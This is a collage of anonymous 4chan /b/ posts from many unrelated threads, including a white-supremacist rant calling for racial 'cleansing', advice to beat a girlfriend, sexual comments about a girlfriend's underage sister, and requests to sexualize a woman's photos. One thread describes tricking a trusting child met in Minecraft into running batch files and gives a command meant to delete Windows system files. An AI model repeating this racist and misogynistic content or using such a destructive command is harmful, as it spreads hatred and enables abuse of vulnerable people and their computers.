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so i just finally got with the girl ive been pursuing for a long time and i couldnt even fuck her because i got all nervous and couldnt keep a boner. shes the hottest girl ive ever got and i couldnt even fuck her. im 22. should i kill myself /b/?
>>677297896
Dude chill, this is more common than you think. It happened the first few time with my gf. Just make sure you tell her it's not because she unattractive and she'll understand. As you get more comfortable with her it'll be less of a problem.
yeah, im just so worried its gonna get awkward. but ill do what you said. she should know that i think shes completely ridiculously beautiful. i couldnt stand the thought of her not thinking i like her. thanks man!
>>677299915
No worries m8, you'll be fine. 3 years later and I instinctively get a boner just from getting into bed with my gf. Try to not think about getting a boner and just get lost in the moment.
thanks guys, as long as it doesnt get awkward because of i think i can pull this through. shes just so important to me and i really hate myself this morning because i feel like i made her feel unwanted and lost her. she gave me no signs of that but its a genuine fear, you know? im sure itll be okay though. just have to shut my brain off in the moment
>>677297896
different dude, same situation. nowadays we're married. don't overreact, no drama, man, accept it, learn to laugh about it.. girls won't get angry about being too hot to handle in the first run.
Confession time /b/, what do you want to get off your chest?
My humps
My nipples
>>677303226
My belly button
My sternum
>>677303226
My chest hair
MTG thread
ITT:
>how often do you play?
>did you visit the prerelease? If so, how did you do, any good pulls?
>what is your alltime favourite card?
>favourite format and why?
>how do you feel about the new standard rules?
>how much money do you think you have spent on MTG?
OP here
>how often do you play?
About once every two weeks
>did you visit the prerelease? If so, how did you do, any good pulls?
Went 2/0/1. Got a few good rares and mythics, the rest is junk.
>what is your alltime favourite card?
Parasitic Strix (pic related)
>favourite format and why?
Modern, because it is(was) a diverse and interesting format.
>how do you feel about the new standard rules?
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>how often do you play?
Mostly online but at least one match a day. Multiple formats.
>did you visit the prerelease? If so, how did you do, any good pulls?
I'm going to one in a couple hours. Hopefully get some good stuffs.
>what is your alltime favourite card?
Karn Liberated cause it's a really interesting card. Colorless planeswalker is gud.
>favourite format and why?
Limited because I suck at constructed. :(
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>>677301419
>diverse and interesting
>diverse
>interesting
>>677301684
With the shortening of sets (going from 3 to 2 blocks) and the elimination of core sets, they also decided to shorten the cycle of wich the cards rotate out.
>>677301848
note the "was", however I think things will beb better after temple will be banned
i love bikinis
Okay, that's nice. Thanks for letting us know.
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Eurofags. listen up. i'm just back from the future, its amazing, seriously it couldnt be better. but let me tell you what needs to happen.
your leaders have to force a brexit. Scotland will finally break its union with england and join the EU. Wales will follow in 20 years, not long after that northern ireland. Within 50 years england will be back to where it was in 1066. Make the British Empire finally finally crumble and have a world similar to that 1000 years ago.
Germany will re-unite europe like the italians couldn't and finally make it a superpower
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>>677301417
I would literally rather burn the world to radioactive ash than let it end up being ruled by a bunch of Germans, Italians, etc.
Germany can't even deal with Greece, what the hell makes you think it's capable of going for world domination (especially since it's already failed miserably at that - twice!)? If the European Union was a dog it would have been taken out back and shot by now.
>>677301417
well thought out, totally plausable
>war with america?
It's coming, by the gods thos rednecks will pay
Overall future eurofag, your information gave me reason to kill myself.
Thanks.
![1309016103950[1].jpg](https://i.imgur.com/OWcT2cE.jpg "1309016103950[1].jpg")
>>677301990
>well thought out, totally plausable
>>677301990
thanks anon
>>677301417
But i dont wanna fight Europe. I like Europe.
Is it true /b/ - are white males privileged?
Yes, and ill tell you why. Because we fucking EARNED it
The world was civilized and built by white men. We invented and perfected almost useful science that exists. Sure some others pitched in, but only by building off the wisdom of white men. Society and order, sustaining a population, infrastructure, industry etc... all white men
We built the world you live in, either that or we forced some shit skin variant along the way to do it for us. We have successfully oppressed and enslaved every other race. No one else has been able to do a fucking thing about it. The only real threat we ever faced was nazi germany and that was because they were white and therefore good at conquest.
Im not racist - i dont hate the inferior races, when i see a black guy I dont think nigger. I think hey - enjoy the blood, sweat and tears of centuries of whites breaking their backs for you. Otherwise you'd be in some village in ooga booga africa eating fried ants twice a week
Look at every other race, they still cant do shit on their own, middle east, africa, south america, its all a fucking mess. ONLY the Asians are somewhat respectable and can sort of do shit on their own, but they are really weird so no one cares
Hell yeah white privilege exists - Im CIS im damn proud of my heritage because MY people built the world we live in, and are still fighting to keep order from shitskins like the assholes in the middle east
The world is our oyster and the rest of you faggots are lucky we let you live here. If we wanted to, white people could easily cleanse the world of the pests.
almost every useful*
White master race reporting in
>>677302103
Is this new pasta? Well, regardless tell those barbarian savages how it is.
>>677302583
feels good doesnt it? to wake up and be a white male
>>677302632
not pasta, i just wrote this bc i was seeing shit all over FB about white people this and that and how we think we are privileged
well we are, and we deserve to be. africa, the middle east etc... theyve had just as much time AND they have our knowledge to build off and they still cant form anything resembling a self sufficient and civilized society
Who's got the sauce?
Dont have sause but im looking for sause on this
SAUCE!!!
Sauce>>677300969
Bumpin
apple sauce
Tell me what you want to do to her
Cock tributes are appreciated and will be sent to her
Tits to start I've got a bunch of pics for you guys
Tell her what you'd do to her
Another. nobody?
Come on anons show this slut what you want to do to her
>>677303492
I'd breed her for the fun of it.
What is the "Godfather" of video games?
Dankey kang
>>677302276
Undertale
Asteroids ma nigga
>>677302458
/thread
Sonic 06
It doesn't need a image
IT'S CATURDAY!
my cat
Meow
My girlfriend has one tit bigger than the other. It is QUITE a bit bigger. Should I be concerned?
>>677300123
op, you know what to do
>>677300123
Amazon that shit
>>677300123
Ex had that
Turns out it was breast cancer.
Getting it treated didnt fix the size different though.
its natural that this sometimes happens same with guys and balls one will most likely be a bit bigger and hang lower than the other one.
>>677300182
sage advice, anon
I love my girlfriend but she is a huge bitch to anone and anything. We have a relationship of 5 years. What do.
Unrelated. Her younger non-legal sister is getting bigger boobs then her, can't stop staring. What do.
>>677299621
wait until her sister is legal. Dump your gf and bang her sister
>>677299621
Actually talk to your girlfriend and work your situation out like an adult in a relationship should. If it's unrelated, then why bring it up? Control yourself man.
>>677299621
damn those fajitas look bomb af
If she is disrespectful to people, beat the shit out of her
Bang her sister
Deliver the recipe for the fajitas OP
Ask a sissy who had sex with a man for the first time last night anything. Pic related, it's me.
OP is a fag
>>677299139
How was it?
Also post more
>>677299139
Post more plz
you had better have swallowed or else its not even worth making a thread about it
>>677299223
It was good to be with an actual person instead of my toys, but not life-changing or anything. Didn't realize til after I got home that my ass was bleeding a little, and I'm still sore today of course.
Any images (I only have a few, anyway) just get less flattering from here. Bracing for insults
>>677299516
I only sucked his dick for a little before he started fucking me. Pulled out and came on above my cock and on my tummy, but I would have swallowed.
up for a second round?
Hay guys i got a kid from minecraft completly trusting me and right now im sending him batch files, any ideea how to remove sys32? STopped his firewall and stuff so we are all clear, HELP ME AND I WILL POST VIDEO!
Kek, destroy that shit
Cheeki Breeki
Update #3
@echo off del c:\\windows\system 32
Thanks the guy that told me im updating the bat file now
ITT: Pictures of food that make you uncomfortable
No Desktop thread? Desktop Thread
My desktop
>>677299441
>>677300114
>>677299441
This isn't 2006 OP.
>>677299441
Rekt. No animals but go FUCKIN bat shit crazy
>>677299831
Fuck you
>>677300399
triple dubs separated by 3's, truly a time to be alive!
>>677300543
whatever OP
>>677300707
>posters: 4
This thread is already shit.
All of you are faggots.
Deutschland Faden - Abend Ausgabe
Warum am Samstag Abend alleine zu Hause?
An welchen Körperstellen rasiert ihr euch?
Wie oft die Woche macht ihr Sport?
Mögt ihr klassische Musik?
Seid ihr glücklich?
Glaubt ihr an Gott?
>>677299507
>Warum am Samstag Abend alleine zu Hause?
Versager
>An welchen Körperstellen rasiert ihr euch?
Gesicht, gelgentlich intinmbereich
>Wie oft die Woche macht ihr Sport?
kek
>Mögt ihr klassische Musik?
Ja sehr!
>Seid ihr glücklich?
Oft
>Glaubt ihr an Gott?
Ich hab einem Musel mal gesagt...
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Die AfD ist absolut regierungsuntauglich. Sie hat weder geeignetes Personal, noch hat sie ihre Einstellung zur Demokratie geklärt. Es gibt zuviel Nähe zu den Radikalen von Pegida, einer Bewegung, in der es Menschen gibt, die gewählte Politiker - wie man weiss - am liebsten an den nächsten Laternenmast (oder Galgen) knüpfen möchten.
Zwar scheinen weder die Frage der endgültigen Parteiführung noch der endgültigen politischen Ausrichtung geklärt, doch weist alles darauf hin, dass der "Flügel" (d.h. die Rechtsextremen in der AfD), d.h. vor allen Dingen Männer...
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MEHR FRAGEN
Fragen:
Wie findet ihr die Band "Wanda"?
Was sind gute Satiresendungen?
Welchen Browser benutzt ihr?
Wie lautet die Antwort auf die Deutsche Frage?
>>677299897
>mfw er nicht Merkel tot sehen will
>>677298572
Fanatisten* - Vorurteile nicht, denn es stimmt nicht.
>>677298613
Kann mit leben.
>>677298694
Meine zweitliebste Partei.
>>677298897
So etwas hat man bestimmt bei der Hexenverbrennung gesagt um die "Kultur der Heiden" zu bekämpfen. Das ist krankes und veraltetes Denken, bilde dich weiter!
I need link to video
>>/r/
girlsdoporn E304
Girls Do Porn E304 March 12, 2015.
>>677300352
>Girls Do Porn E304 March 12, 2015.
yeah ik but cant find video, torrent will take 3 days fk that
>>677300460
Nigguh go on kickass torrents and download the one with most seeds took me like 30 you faggot
>ok /b/ comment the weirdest/craziest thing you've ever done
>pic unrelated
i once drank orange juice after brushing my teeth
#brave
>>677300090
I braided a girls hair without her knowing
>>677300090
wore a pair of socks that didn't match
>>677300090
I accidentally built a shelf
>>677300663
Hot fuck
